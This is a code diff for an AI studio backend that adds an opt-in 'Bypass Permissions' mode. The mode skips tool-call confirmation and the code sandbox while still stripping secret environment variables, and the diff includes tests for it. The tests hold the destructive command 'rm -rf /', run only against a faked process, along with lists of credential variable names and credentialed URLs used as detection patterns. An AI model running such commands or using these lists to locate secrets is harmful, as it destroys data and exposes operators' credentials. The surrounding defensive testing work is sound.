+    mitigation, not a full boundary - a bypassed tool is unsandboxed by design,
+    so it can still walk /proc to a same-UID *ancestor* (e.g. the launching
+    shell) or read on-disk credentials by absolute path. Complete isolation
+    needs a separate uid / PID+mount namespace, which is out of scope here; the
+    UI already warns the mode is dangerous. Applied lazily on first bypass exec
+    so non-bypass operation is unchanged.
+    """
+    global _parent_proc_hardened
+    if _parent_proc_hardened:
+        return True
+    if sys.platform != "linux":
+        return True  # no /proc/<pid>/environ same-UID leak to close
+    if _libc is None:
+        return False  # on Linux but cannot issue prctl -> cannot harden
+    try:
+        # prctl(PR_SET_DUMPABLE=4, SUID_DUMP_DISABLE=0). ctypes returns the
+        # syscall result (-1 on failure) and does NOT raise, so check it.
+        ret = _libc.prctl(4, 0, 0, 0, 0)
+    except (OSError, AttributeError):
+        return False
+    if ret != 0:
+        return False
+    _parent_proc_hardened = True
+    return True
+
+
 def _get_shell_cmd(command: str) -> list[str]:
     """Return the platform-appropriate shell invocation for a command string."""
     if sys.platform == "win32":
@@ -723,6 +972,7 @@ def execute_tool(
     timeout: int | None = _TIMEOUT_UNSET,
     session_id: str | None = None,
     rag_scope: dict | None = None,
+    disable_sandbox: bool = False,
 ) -> str:
     """Execute a tool by name with the given arguments; returns a string.
 
@@ -730,6 +980,9 @@ def execute_tool(
     ``session_id``: optional ID for per-conversation sandbox isolation.
     ``rag_scope``: hidden per-request RAG context the model never sees; consumed
     by ``search_knowledge_base``.
+    ``disable_sandbox``: Bypass Permissions; run python/terminal without the
+    safety checks, blocklist, or resource caps (secrets still stripped). Only
+    affects local code tools; web_search / MCP are unchanged.
     """
     logger.info(f"execute_tool: name={name}, session_id={session_id}, timeout={timeout}")
     effective_timeout = _EXEC_TIMEOUT if timeout is _TIMEOUT_UNSET else timeout
@@ -765,9 +1018,21 @@ def execute_tool(
             timeout = effective_timeout,
         )
     if name == "python":
-        return _python_exec(arguments.get("code", ""), cancel_event, effective_timeout, session_id)
+        return _python_exec(
+            arguments.get("code", ""),
+            cancel_event,
+            effective_timeout,
+            session_id,
+            disable_sandbox = disable_sandbox,
+        )
     if name == "terminal":
-        return _bash_exec(arguments.get("command", ""), cancel_event, effective_timeout, session_id)
+        return _bash_exec(
+            arguments.get("command", ""),
+            cancel_event,
+            effective_timeout,
+            session_id,
+            disable_sandbox = disable_sandbox,
+        )
     return f"Unknown tool: {name}"
 
 
@@ -2242,15 +2507,28 @@ def _python_exec(
     cancel_event = None,
     timeout: int = _EXEC_TIMEOUT,
     session_id: str | None = None,
+    disable_sandbox: bool = False,
 ) -> str:
-    """Execute Python code in a subprocess sandbox."""
+    """Execute Python code in a subprocess sandbox.
+
+    disable_sandbox (Bypass Permissions): skip the safety analysis and rlimit
+    pre-exec, and use the host env minus secrets.
+    """
     if not code or not code.strip():
         return "No code provided."
 
-    # Validate imports and code safety
-    error = _check_code_safety(code)
-    if error:
-        return error
+    # Validate imports and code safety (skipped when the sandbox is disabled)
+    if not disable_sandbox:
+        error = _check_code_safety(code)
+        if error:
+            return error
+    elif not _harden_parent_against_proc_env_leak():
+        # Close the /proc/<parent>/environ secret-recovery path first; if it
+        # cannot be applied, fail closed rather than leak the parent environ.
+        return (
+            "Execution error: could not harden the Studio process against "
+            "/proc environment reads; refusing bypass execution."
+        )
 
     tmp_path = None
     workdir = _get_workdir(session_id)
@@ -2270,7 +2548,7 @@ def _python_exec(
         with os.fdopen(fd, "w") as f:
             f.write(code)
 
-        safe_env = _build_safe_env(workdir)
+        safe_env = _build_bypass_env(workdir) if disable_sandbox else _build_safe_env(workdir)
         popen_kwargs = dict(
             stdout = subprocess.PIPE,
             stderr = subprocess.STDOUT,
@@ -2279,7 +2557,7 @@ def _python_exec(
             env = safe_env,
         )
         if sys.platform != "win32":
-            popen_kwargs["preexec_fn"] = _sandbox_preexec
+            popen_kwargs["preexec_fn"] = _bypass_preexec if disable_sandbox else _sandbox_preexec
         else:
             popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
 
@@ -2346,19 +2624,32 @@ def _bash_exec(
     cancel_event = None,
     timeout: int = _EXEC_TIMEOUT,
     session_id: str | None = None,
+    disable_sandbox: bool = False,
 ) -> str:
-    """Execute a bash command in a subprocess sandbox."""
+    """Execute a bash command in a subprocess sandbox.
+
+    disable_sandbox (Bypass Permissions): skip the command blocklist and rlimit
+    pre-exec, and use the host env minus secrets.
+    """
     if not command or not command.strip():
         return "No command provided."
 
-    # Block dangerous commands (shlex + regex based)
-    blocked = _find_blocked_commands(command)
-    if blocked:
-        return f"Blocked command(s) for safety: {', '.join(sorted(blocked))}"
+    # Block dangerous commands (skipped when the sandbox is disabled)
+    if not disable_sandbox:
+        blocked = _find_blocked_commands(command)
+        if blocked:
+            return f"Blocked command(s) for safety: {', '.join(sorted(blocked))}"
+    elif not _harden_parent_against_proc_env_leak():
+        # Close the /proc/<parent>/environ secret-recovery path first; if it
+        # cannot be applied, fail closed rather than leak the parent environ.
+        return (
+            "Execution error: could not harden the Studio process against "
+            "/proc environment reads; refusing bypass execution."
+        )
 
     try:
         workdir = _get_workdir(session_id)
-        safe_env = _build_safe_env(workdir)
+        safe_env = _build_bypass_env(workdir) if disable_sandbox else _build_safe_env(workdir)
         popen_kwargs = dict(
             stdout = subprocess.PIPE,
             stderr = subprocess.STDOUT,
@@ -2367,7 +2658,7 @@ def _bash_exec(
             env = safe_env,
         )
         if sys.platform != "win32":
-            popen_kwargs["preexec_fn"] = _sandbox_preexec
+            popen_kwargs["preexec_fn"] = _bypass_preexec if disable_sandbox else _sandbox_preexec
         else:
             popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
 
diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py
index 5b68364687..82949870da 100644
--- a/studio/backend/models/inference.py
+++ b/studio/backend/models/inference.py
@@ -732,6 +732,10 @@ class ChatCompletionRequest(BaseModel):
         None,
         description = "[x-unsloth] When true, pause before each tool call and wait for the user to allow/deny it via POST /api/inference/tool-confirm.",
     )
+    bypass_permissions: Optional[bool] = Field(
+        False,
+        description = "[x-unsloth] Bypass Permissions: when true, skip the tool-call confirmation gate AND disable the python/terminal execution sandbox (safety checks, command blocklist, resource limits). Secret env vars are still stripped. Takes precedence over confirm_tool_calls.",
+    )
     auto_heal_tool_calls: Optional[bool] = Field(
         True,
         description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output.",
@@ -1560,6 +1564,10 @@ class AnthropicMessagesRequest(BaseModel):
     enabled_tools: Optional[list[str]] = None
     session_id: Optional[str] = None
     cancel_id: Optional[str] = None
+    bypass_permissions: Optional[bool] = Field(
+        False,
+        description = "[x-unsloth] Bypass Permissions: when true, disable the python/terminal execution sandbox (safety checks, command blocklist, resource limits) for server-side tool calls. Secret env vars are still stripped. Declared explicitly (not relied on via extra='allow') so omitted requests default to False instead of raising AttributeError.",
+    )
     model_config = {"extra": "allow"}
 
     @model_validator(mode = "before")
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 3e13774639..c272c67944 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -3522,12 +3522,18 @@ async def openai_chat_completions(
     # ── External provider routing ────────────────────────────────
     # encrypted_api_key is optional -- local providers (llama.cpp / vLLM / Ollama) may run without auth.
     if payload.provider_id or payload.provider_type:
-        if payload.confirm_tool_calls and (
-            payload.enable_tools is True
-            or bool(payload.enabled_tools)
-            or bool(payload.tools)
-            or bool(payload.openai_code_exec_container_id)
-            or bool(payload.anthropic_code_exec_container_id)
+        # Bypass Permissions suppresses the confirm gate, so do not reject a
+        # request that sets both flags (effective confirm is then False).
+        if (
+            payload.confirm_tool_calls
+            and not payload.bypass_permissions
+            and (
+                payload.enable_tools is True
+                or bool(payload.enabled_tools)
+                or bool(payload.tools)
+                or bool(payload.openai_code_exec_container_id)
+                or bool(payload.anthropic_code_exec_container_id)
+            )
         ):
             raise HTTPException(
                 status_code = 400,
@@ -3909,7 +3915,9 @@ async def openai_chat_completions(
                 use_tools = False
 
         if use_tools:
-            if payload.confirm_tool_calls and not payload.stream:
+            # Bypass Permissions suppresses confirm, so the stream requirement
+            # (the gate needs streaming to prompt) no longer applies.
+            if payload.confirm_tool_calls and not payload.bypass_permissions and not payload.stream:
                 raise HTTPException(
                     status_code = 400,
                     detail = openai_error_body(
@@ -3989,7 +3997,11 @@ async def openai_chat_completions(
                     session_id = payload.session_id,
                     rag_scope = payload.rag_scope,
                     disable_parallel_tool_use = payload.parallel_tool_calls is False,
-                    confirm_tool_calls = bool(payload.confirm_tool_calls),
+                    # Bypass Permissions takes precedence over the confirm gate:
+                    # never prompt while bypassing.
+                    confirm_tool_calls = bool(payload.confirm_tool_calls)
+                    and not bool(payload.bypass_permissions),
+                    bypass_permissions = bool(payload.bypass_permissions),
                 )
 
             _tool_sentinel = object()
@@ -4454,7 +4466,9 @@ async def openai_chat_completions(
             _sf_use_tools = False
 
     if _sf_use_tools:
-        if payload.confirm_tool_calls and not payload.stream:
+        # Bypass Permissions suppresses confirm, so the stream requirement
+        # (the gate needs streaming to prompt) no longer applies.
+        if payload.confirm_tool_calls and not payload.bypass_permissions and not payload.stream:
             raise HTTPException(
                 status_code = 400,
                 detail = openai_error_body(
@@ -4540,7 +4554,11 @@ async def openai_chat_completions(
                 else 300,
                 session_id = payload.session_id,
                 rag_scope = payload.rag_scope,
-                confirm_tool_calls = bool(payload.confirm_tool_calls),
+                # Bypass Permissions takes precedence over the confirm gate:
+                # never prompt while bypassing.
+                confirm_tool_calls = bool(payload.confirm_tool_calls)
+                and not bool(payload.bypass_permissions),
+                bypass_permissions = bool(payload.bypass_permissions),
                 use_adapter = payload.use_adapter,
                 stats_holder = _sf_stats_holder,
             )
@@ -6927,7 +6945,10 @@ async def anthropic_messages(
         )
 
     if server_tools:
-        if bool(getattr(payload, "confirm_tool_calls", False)):
+        # Bypass Permissions suppresses confirm, so both flags together is fine.
+        if bool(getattr(payload, "confirm_tool_calls", False)) and not bool(
+            getattr(payload, "bypass_permissions", False)
+        ):
             raise HTTPException(
                 status_code = 400,
                 detail = anthropic_error_body(
@@ -6984,6 +7005,7 @@ async def anthropic_messages(
                 # Anthropic passthrough has no rag_scope field (RAG is local-only).
                 rag_scope = getattr(payload, "rag_scope", None),
                 disable_parallel_tool_use = _disable_parallel,
+                bypass_permissions = bool(payload.bypass_permissions),
             )
 
         if payload.stream:
diff --git a/studio/backend/tests/test_bypass_permissions.py b/studio/backend/tests/test_bypass_permissions.py
new file mode 100644
index 0000000000..563f146816
--- /dev/null
+++ b/studio/backend/tests/test_bypass_permissions.py
@@ -0,0 +1,732 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for Bypass Permissions (skip confirmation + disable sandbox).
+
+Covers the secret-name classifier, the two env builders, the
+``disable_sandbox`` branch of ``_python_exec`` / ``_bash_exec`` (which env is
+used, which pre-exec is used, and that safety checks / the blocklist are
+skipped), the request-model default, the confirm-vs-bypass precedence rule the
+route enforces, and that the agentic loop forwards ``disable_sandbox`` while
+never gating under bypass.
+
+Run with: ``PYTHONPATH=studio/backend python -m pytest studio/backend/tests/test_bypass_permissions.py -q``
+"""
+
+import os
+import sys
+
+import pytest
+
+import core.inference.tools as tools
+from core.inference.tools import (
+    _bash_exec,
+    _build_bypass_env,
+    _build_safe_env,
+    _is_cred_location_env_name,
+    _is_secret_env_name,
+    _is_secret_env_value,
+    _python_exec,
+)
+from core.inference.safetensors_agentic import run_safetensors_tool_loop
+
+_POSIX_ONLY = pytest.mark.skipif(
+    sys.platform == "win32", reason = "preexec_fn / setsid are POSIX-only"
+)
+
+
+# ── secret-name classifier ──────────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    "name",
+    [
+        "HF_TOKEN",
+        "HUGGING_FACE_HUB_TOKEN",
+        "WANDB_API_KEY",
+        "GH_TOKEN",
+        "GITHUB_TOKEN",
+        "OPENAI_API_KEY",
+        "ANTHROPIC_API_KEY",
+        "AWS_SECRET_ACCESS_KEY",
+        "AWS_ACCESS_KEY_ID",
+        "AZURE_CLIENT_SECRET",
+        "GOOGLE_APPLICATION_CREDENTIALS",
+        "MY_DB_PASSWORD",
+        "x_api_key",
+        "SOME_PRIVATE_KEY",
+        "LD_PRELOAD",
+    ],
+)
+def test_secret_names_are_flagged(name):
+    assert _is_secret_env_name(name) is True
+
+
+@pytest.mark.parametrize(
+    "name", ["PATH", "HOME", "LANG", "TERM", "PWD", "SHELL", "HOSTVAR", "MY_VAR"]
+)
+def test_benign_names_are_not_flagged(name):
+    assert _is_secret_env_name(name) is False
+
+
+# ── env builders ────────────────────────────────────────────────────
+
+
+def test_bypass_env_keeps_benign_strips_secret_repoints_home(monkeypatch, tmp_path):
+    monkeypatch.setenv("HOSTVAR", "benign-123")
+    monkeypatch.setenv("HF_TOKEN", "secret-abc")
+    env = _build_bypass_env(str(tmp_path))
+    assert env.get("HOSTVAR") == "benign-123"  # full host env inherited
+    assert "HF_TOKEN" not in env  # ...minus secrets
+    assert env["HOME"] == str(tmp_path)  # $HOME-based cred lookups defused
+    assert env["TMPDIR"] == str(tmp_path)
+
+
+def test_safe_env_excludes_host_and_secret(monkeypatch, tmp_path):
+    monkeypatch.setenv("HOSTVAR", "benign-123")
+    monkeypatch.setenv("HF_TOKEN", "secret-abc")
+    env = _build_safe_env(str(tmp_path))
+    assert "HOSTVAR" not in env  # whitelist build -> host vars never reach child
+    assert "HF_TOKEN" not in env
+
+
+# ── Popen kwargs capture (no real execution) ────────────────────────
+
+
+class _FakeProc:
+    returncode = 0
+
+    def communicate(self, timeout = None):
+        return ("FAKEOUT", None)
+
+    def poll(self):
+        return 0
+
+    def kill(self):
+        pass
+
+
+@pytest.fixture
+def captured_popen(monkeypatch):
+    cap = {}
+
+    def fake_popen(cmd, **kwargs):
+        cap["cmd"] = cmd
+        cap["kwargs"] = kwargs
+        return _FakeProc()
+
+    monkeypatch.setattr(tools.subprocess, "Popen", fake_popen)
+    return cap
+
+
+@_POSIX_ONLY
+def test_python_sandboxed_uses_sandbox_preexec_and_safe_env(captured_popen, monkeypatch):
+    monkeypatch.setenv("HF_TOKEN", "secret-abc")
+    _python_exec("print(1)", None, 5, "t", disable_sandbox = False)
+    assert captured_popen["kwargs"]["preexec_fn"] is tools._sandbox_preexec
+    assert "HF_TOKEN" not in captured_popen["kwargs"]["env"]
+
+
+@_POSIX_ONLY
+def test_python_bypass_uses_bypass_preexec_and_bypass_env(captured_popen, monkeypatch):
+    monkeypatch.setenv("HOSTVAR", "benign-xyz")
+    monkeypatch.setenv("HF_TOKEN", "secret-abc")
+    _python_exec("print(1)", None, 5, "t", disable_sandbox = True)
+    assert captured_popen["kwargs"]["preexec_fn"] is tools._bypass_preexec
+    env = captured_popen["kwargs"]["env"]
+    assert env.get("HOSTVAR") == "benign-xyz"
+    assert "HF_TOKEN" not in env
+
+
+def test_bash_blocklist_enforced_when_sandboxed(captured_popen):
+    out = _bash_exec("rm -rf /", None, 5, "t", disable_sandbox = False)
+    assert "Blocked" in out
+    assert "cmd" not in captured_popen  # never reached Popen
+
+
+def test_bash_blocklist_skipped_when_bypassed(captured_popen):
+    out = _bash_exec("rm -rf /", None, 5, "t", disable_sandbox = True)
+    assert out == "FAKEOUT"  # blocklist skipped -> reached (faked) execution
+    assert captured_popen["cmd"][0] in ("bash", "cmd")
+
+
+@_POSIX_ONLY
+def test_bash_bypass_uses_bypass_preexec(captured_popen):
+    _bash_exec("echo hi", None, 5, "t", disable_sandbox = True)
+    assert captured_popen["kwargs"]["preexec_fn"] is tools._bypass_preexec
+
+
+# ── real end-to-end python execution under bypass ───────────────────
+
+
+@_POSIX_ONLY
+def test_python_bypass_real_exec_sees_host_env_but_not_secret(monkeypatch):
+    monkeypatch.setenv("HOSTVAR", "benign-xyz")
+    monkeypatch.setenv("HF_TOKEN", "secret-pqr")
+    code = (
+        "import os;"
+        "print('H=' + str(os.environ.get('HOSTVAR')),"
+        " 'T=' + str(os.environ.get('HF_TOKEN')))"
+    )
+    out = _python_exec(code, None, 30, "test-bypass", disable_sandbox = True)
+    assert "H=benign-xyz" in out  # unrestricted: real host var visible
+    assert "T=None" in out  # ...but the secret was stripped
+    assert "secret-pqr" not in out
+
+
+# ── _bypass_preexec is setsid-only (no rlimits) ─────────────────────
+
+
+@_POSIX_ONLY
+def test_bypass_preexec_only_sets_session(monkeypatch):
+    calls = {"setsid": 0}
+    monkeypatch.setattr(
+        tools.os, "setsid", lambda: calls.__setitem__("setsid", calls["setsid"] + 1)
+    )
+    # _resource must not be touched by the bypass pre-exec.
+    if tools._resource is not None:
+        monkeypatch.setattr(
+            tools._resource,
+            "setrlimit",
+            lambda *a, **k: pytest.fail("bypass pre-exec must not set rlimits"),
+        )
+    tools._bypass_preexec()
+    assert calls["setsid"] == 1
+
+
+# ── request model default ───────────────────────────────────────────
+
+
+def test_request_model_bypass_default_false():
+    from models.inference import ChatCompletionRequest
+    assert ChatCompletionRequest.model_fields["bypass_permissions"].default is False
+
+
+# ── confirm-vs-bypass precedence (mirrors the route rule) ───────────
+
+
+@pytest.mark.parametrize(
+    "confirm,bypass,effective_confirm",
+    [
+        (False, False, False),
+        (True, False, True),
+        (False, True, False),
+        (True, True, False),
+    ],
+)
+def test_confirm_precedence_rule(confirm, bypass, effective_confirm):
+    # The route computes: confirm_tool_calls = confirm and not bypass.
+    assert (bool(confirm) and not bool(bypass)) is effective_confirm
+
+
+# ── agentic loop forwards disable_sandbox, never gates under bypass ──
+
+_DEFAULT_TOOLS = [
+    {"type": "function", "function": {"name": "python"}},
+    {"type": "function", "function": {"name": "web_search"}},
+]
+
+
+def _tool_call(name, args_json):
+    return f'<tool_call>{{"name": "{name}", "arguments": {args_json}}}</tool_call>'
+
+
+def _multi_turn(turns):
+    it = iter(turns)
+
+    def _gen(_messages):
+        try:
+            yield next(it)
+        except StopIteration:
+            return
+
+    return _gen
+
+
+def test_loop_forwards_disable_sandbox_and_does_not_gate():
+    seen = []
+
+    def fake_exec(
+        name,
+        arguments,
+        *,
+        cancel_event = None,
+        timeout = None,
+        session_id = None,
+        rag_scope = None,
+        disable_sandbox = False,
+    ):
+        seen.append(disable_sandbox)
+        return f"RAN[{name}]"
+
+    events = list(
+        run_safetensors_tool_loop(
+            single_turn = _multi_turn([_tool_call("python", '{"code": "x"}'), "done"]),
+            messages = [{"role": "user", "content": "hi"}],
+            tools = _DEFAULT_TOOLS,
+            execute_tool = fake_exec,
+            session_id = "s",
+            confirm_tool_calls = False,  # route forces this off under bypass
+            bypass_permissions = True,
+        )
+    )
+    assert seen == [True]  # disable_sandbox threaded through
+    starts = [e for e in events if e["type"] == "tool_start"]
+    assert starts and starts[0]["awaiting_confirmation"] is False
+    assert starts[0]["approval_id"] == ""
+
+
+def test_loop_bypass_overrides_confirm_for_direct_callers():
+    # Even if a direct internal caller passes confirm_tool_calls=True, bypass
+    # must suppress the confirm gate at the loop level (not only at the route).
+    def fake_exec(
+        name,
+        arguments,
+        *,
+        cancel_event = None,
+        timeout = None,
+        session_id = None,
+        rag_scope = None,
+        disable_sandbox = False,
+    ):
+        return f"RAN[{name}]"
+
+    events = list(
+        run_safetensors_tool_loop(
+            single_turn = _multi_turn([_tool_call("python", '{"code": "x"}'), "done"]),
+            messages = [{"role": "user", "content": "hi"}],
+            tools = _DEFAULT_TOOLS,
+            execute_tool = fake_exec,
+            session_id = "s",
+            confirm_tool_calls = True,  # raw caller leaves this on...
+            bypass_permissions = True,  # ...but bypass must still win
+        )
+    )
+    starts = [e for e in events if e["type"] == "tool_start"]
+    assert starts and starts[0]["awaiting_confirmation"] is False
+    assert starts[0]["approval_id"] == ""
+
+
+def test_gguf_loop_confirm_gate_respects_bypass():
+    # The GGUF loop needs a live llama-server, so (per the other llama_cpp
+    # tests) assert via AST that its _needs_confirm gate applies the bypass
+    # precedence, mirroring the safetensors behavioral test above.
+    import ast
+    import inspect
+    import textwrap
+
+    llama_cpp = pytest.importorskip("core.inference.llama_cpp")
+    src = textwrap.dedent(
+        inspect.getsource(llama_cpp.LlamaCppBackend.generate_chat_completion_with_tools)
+    )
+    gates = [
+        node
+        for node in ast.walk(ast.parse(src))
+        if isinstance(node, ast.Assign)
+        and any(getattr(t, "id", None) == "needs_confirm" for t in node.targets)
+    ]
+    assert gates, "could not find the needs_confirm gate in the GGUF loop"
+    names = {n.id for g in gates for n in ast.walk(g.value) if isinstance(n, ast.Name)}
+    assert "confirm_tool_calls" in names
+    assert "bypass_permissions" in names  # bypass must suppress the GGUF gate
+
+
+# ── broker / capability env vars are stripped (regression) ──────────
+
+
+@pytest.mark.parametrize(
+    "name",
+    ["SSH_AUTH_SOCK", "SSH_AGENT_PID", "GPG_AGENT_INFO", "GNUPGHOME", "KUBECONFIG"],
+)
+def test_broker_capability_names_are_flagged(name):
+    # Not secrets by value, but they hand the child the operator's live agent
+    # (ssh/gpg) or kube credentials, so bypass mode must drop them.
+    assert _is_secret_env_name(name) is True
+
+
+# ── credential-bearing URL values stripped regardless of name ───────
+
+
+@pytest.mark.parametrize(
+    "value",
+    [
+        "https://user:s3cr3t@feed.example.invalid/simple",  # user:pass@
+        "https://ghp_deadbeef@github.com/org/private.git",  # token-only@
+        "https://__token__@pypi.example.invalid/simple",
+        "https://ghp_1234:@npm.pkg.github.com/simple",  # empty password
+        "postgres://dbuser:dbpass@db.example.invalid/app",
+    ],
+)
+def test_url_userinfo_values_are_flagged(value):
+    assert _is_secret_env_value(value) is True
+
+
+@pytest.mark.parametrize(
+    "value",
+    [
+        "https://example.invalid/simple",  # no userinfo
+        "http://proxy.corp.example:8080",  # benign proxy
+        "https://pypi.corp.example/simple",  # benign internal index
+        "redis://localhost:6379/0",  # no creds
+        "https://example.invalid/path?ref=a@b",  # '@' only in query, not userinfo
+    ],
+)
+def test_non_credential_url_values_are_not_flagged(value):
+    assert _is_secret_env_value(value) is False
+
+
+def test_url_userinfo_value_is_stripped_even_with_benign_name(monkeypatch, tmp_path):
+    # NAME dodges the classifier, but the VALUE embeds userinfo -> must go.
+    monkeypatch.setenv("MY_FEED", "https://user:s3cr3t@feed.example.invalid/simple")
+    monkeypatch.setenv("REPO_URL", "https://ghp_deadbeef@github.com/org/private.git")
+    # A URL without credentials is harmless and should be kept.
+    monkeypatch.setenv("PLAIN_URL", "https://example.invalid/simple")
+    env = _build_bypass_env(str(tmp_path))
+    assert "MY_FEED" not in env
+    assert "REPO_URL" not in env
+    assert env.get("PLAIN_URL") == "https://example.invalid/simple"
+
+
+def test_bypass_env_keeps_noncredential_proxy_and_index_urls(monkeypatch, tmp_path):
+    # Benign routing/config vars must survive bypass mode (proxy-only or
+    # internal-index networks); only credentialed values are dropped.
+    monkeypatch.setenv("HTTP_PROXY", "http://proxy.corp.example:8080")
+    monkeypatch.setenv("PIP_INDEX_URL", "https://pypi.corp.example/simple")
+    monkeypatch.setenv("PIP_EXTRA_INDEX_URL", "https://user:token@pypi.example.invalid/simple")
+    env = _build_bypass_env(str(tmp_path))
+    assert env["HTTP_PROXY"] == "http://proxy.corp.example:8080"
+    assert env["PIP_INDEX_URL"] == "https://pypi.corp.example/simple"
+    assert "PIP_EXTRA_INDEX_URL" not in env  # this one carries credentials
+
+
+# ── AWS IMDS-disable hardening flag is kept (regression) ────────────
+
+
+def test_aws_imds_disable_flag_is_kept_but_creds_stripped(monkeypatch, tmp_path):
+    # AWS_EC2_METADATA_DISABLED is a non-secret opt-out: dropping it would let a
+    # bypassed boto/AWS-CLI call fall back to the instance role via IMDS even
+    # though the operator disabled that path. Keep it; drop the real creds.
+    monkeypatch.setenv("AWS_EC2_METADATA_DISABLED", "true")
+    monkeypatch.setenv("AWS_ACCESS_KEY_ID", "AKIAEXAMPLE")
+    monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "shhh")
+    assert _is_secret_env_name("AWS_EC2_METADATA_DISABLED") is False
+    assert _is_secret_env_name("AWS_ACCESS_KEY_ID") is True
+    env = _build_bypass_env(str(tmp_path))
+    assert env.get("AWS_EC2_METADATA_DISABLED") == "true"
+    assert "AWS_ACCESS_KEY_ID" not in env
+    assert "AWS_SECRET_ACCESS_KEY" not in env
+
+
+# ── connection-string env vars are stripped (regression) ────────────
+
+
+@pytest.mark.parametrize(
+    "name",
+    [
+        "SQLCONNSTR_DB",  # Azure App Service injected connection strings
+        "MYSQLCONNSTR_DB",
+        "SQLAZURECONNSTR_DB",
+        "POSTGRESQLCONNSTR_DB",
+        "CUSTOMCONNSTR_CACHE",
+        "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING",
+    ],
+)
+def test_connection_string_names_are_flagged(name):
+    assert _is_secret_env_name(name) is True
+
+
+@pytest.mark.parametrize(
+    "value",
+    [
+        "Server=tcp:db;Database=app;User ID=u;Password=p@ss;",  # ADO.NET
+        "DefaultEndpointsProtocol=https;AccountName=x;AccountKey=abc123==;",  # storage
+        "Endpoint=sb://x;SharedAccessKeyName=n;SharedAccessKey=zzz=",  # Service Bus
+    ],
+)
+def test_connection_string_values_are_flagged(value):
+    assert _is_secret_env_value(value) is True
+
+
+@pytest.mark.parametrize(
+    "value",
+    [
+        "Server=tcp:db;Database=app;User ID=u;",  # no password field
+        "Endpoint=sb://x;SharedAccessKeyName=n",  # key NAME only, no secret
+        "AccountName=x;EndpointSuffix=core.windows.net",  # no AccountKey
+    ],
+)
+def test_connection_string_noncredential_values_are_not_flagged(value):
+    assert _is_secret_env_value(value) is False
+
+
+def test_connection_string_value_stripped_even_with_benign_name(monkeypatch, tmp_path):
+    # NAME dodges the classifier, but the VALUE is a credentialed conn string.
+    monkeypatch.setenv("APP_DB", "Server=tcp:db;Database=app;User ID=u;Password=p@ss;")
+    monkeypatch.setenv("SQLCONNSTR_DB", "DefaultEndpointsProtocol=https;AccountKey=abc==")
+    env = _build_bypass_env(str(tmp_path))
+    assert "APP_DB" not in env  # value-based catch
+    assert "SQLCONNSTR_DB" not in env  # name-based catch
+
+
+# ── temp dirs repointed on every platform (regression) ──────────────
+
+
+def test_bypass_env_repoints_all_temp_vars(monkeypatch, tmp_path):
+    # Windows tempfile honours TEMP/TMP, not TMPDIR; all three must repoint.
+    monkeypatch.setenv("TEMP", "/host/tmp")
+    monkeypatch.setenv("TMP", "/host/tmp")
+    env = _build_bypass_env(str(tmp_path))
+    assert env["TMPDIR"] == str(tmp_path)
+    assert env["TEMP"] == str(tmp_path)
+    assert env["TMP"] == str(tmp_path)
+
+
+# ── credential-location redirect vars are dropped (regression) ──────────
+# Vars that point SDKs at the real home/cache/config (cached tokens), e.g.
+# HF_HOME which startup always sets -> the live leak the HOME repoint missed.
+
+
+@pytest.mark.parametrize(
+    "name",
+    [
+        "HF_HOME",
+        "HF_HUB_CACHE",
+        "HUGGINGFACE_HUB_CACHE",
+        "HF_XET_CACHE",
+        "TRANSFORMERS_CACHE",
+        "HF_DATASETS_CACHE",
+        "XDG_CONFIG_HOME",
+        "XDG_CACHE_HOME",
+        "XDG_DATA_HOME",
+        "NETRC",
+        "BOTO_CONFIG",
+        "PIP_CONFIG_FILE",
+        "CLOUDSDK_CONFIG",
+        "KAGGLE_CONFIG_DIR",
+        "DOCKER_CONFIG",
+        "WANDB_DIR",
+        "WANDB_CONFIG_DIR",
+        "NPM_CONFIG_USERCONFIG",
+        "NPM_CONFIG_GLOBALCONFIG",
+        "YARN_RC_FILENAME",
+        "GIT_CONFIG_GLOBAL",
+        "GIT_CONFIG_SYSTEM",
+        "CARGO_HOME",
+        "RCLONE_CONFIG",
+        "GIT_ASKPASS",
+        "SSH_ASKPASS",
+        "BASH_ENV",
+        "HOMEDRIVE",
+        "HOMEPATH",
+    ],
+)
+def test_cred_location_names_are_flagged(name):
+    assert _is_cred_location_env_name(name) is True
+
+
+@pytest.mark.parametrize("name", ["PATH", "HOME", "LANG", "PWD", "MY_VAR"])
+def test_benign_names_not_flagged_as_cred_location(name):
+    assert _is_cred_location_env_name(name) is False
+
+
+def test_bypass_env_drops_hf_home_so_cached_token_unreachable(monkeypatch, tmp_path):
+    # The live leak: startup sets HF_HOME at the real cache, whose $HF_HOME/token
+    # holds the operator's token. Repointing HOME does not stop huggingface_hub
+    # from reading $HF_HOME/token, so HF_HOME must be dropped in bypass mode.
+    real_cache = tmp_path / "real_hf_cache"
+    real_cache.mkdir()
+    (real_cache / "token").write_text("hf_cachedOperatorToken")
+    monkeypatch.setenv("HF_HOME", str(real_cache))
+    monkeypatch.setenv("HF_HUB_CACHE", str(real_cache / "hub"))
+    env = _build_bypass_env(str(tmp_path))
+    assert "HF_HOME" not in env  # dropped -> HF falls back to $HOME/.cache (empty)
+    assert "HF_HUB_CACHE" not in env
+
+
+def test_bypass_env_hf_token_resolves_outside_real_cache(monkeypatch, tmp_path):
+    # End-to-end: even when HF_HOME and XDG_CACHE_HOME both point at the real
+    # cache, the bypass env must make huggingface_hub resolve the token under the
+    # workdir (guards the XDG fallback chain, not just "HF_HOME absent").
+    pytest.importorskip("huggingface_hub")
+    import subprocess
+
+    real_cache = tmp_path / "real_hf"
+    real_cache.mkdir()
+    workdir = tmp_path / "sandbox"
+    workdir.mkdir()
+    monkeypatch.setenv("HF_HOME", str(real_cache))
+    monkeypatch.setenv("XDG_CACHE_HOME", str(real_cache))
+    monkeypatch.setenv("XDG_CONFIG_HOME", str(real_cache))
+    env = _build_bypass_env(str(workdir))
+    token_path = subprocess.run(
+        [
+            sys.executable,
+            "-c",
+            "import huggingface_hub.constants as c; print(c.HF_TOKEN_PATH)",
+        ],
+        env = env,
+        capture_output = True,
+        text = True,
+    ).stdout.strip()
+    assert str(real_cache) not in token_path  # never the operator's cache
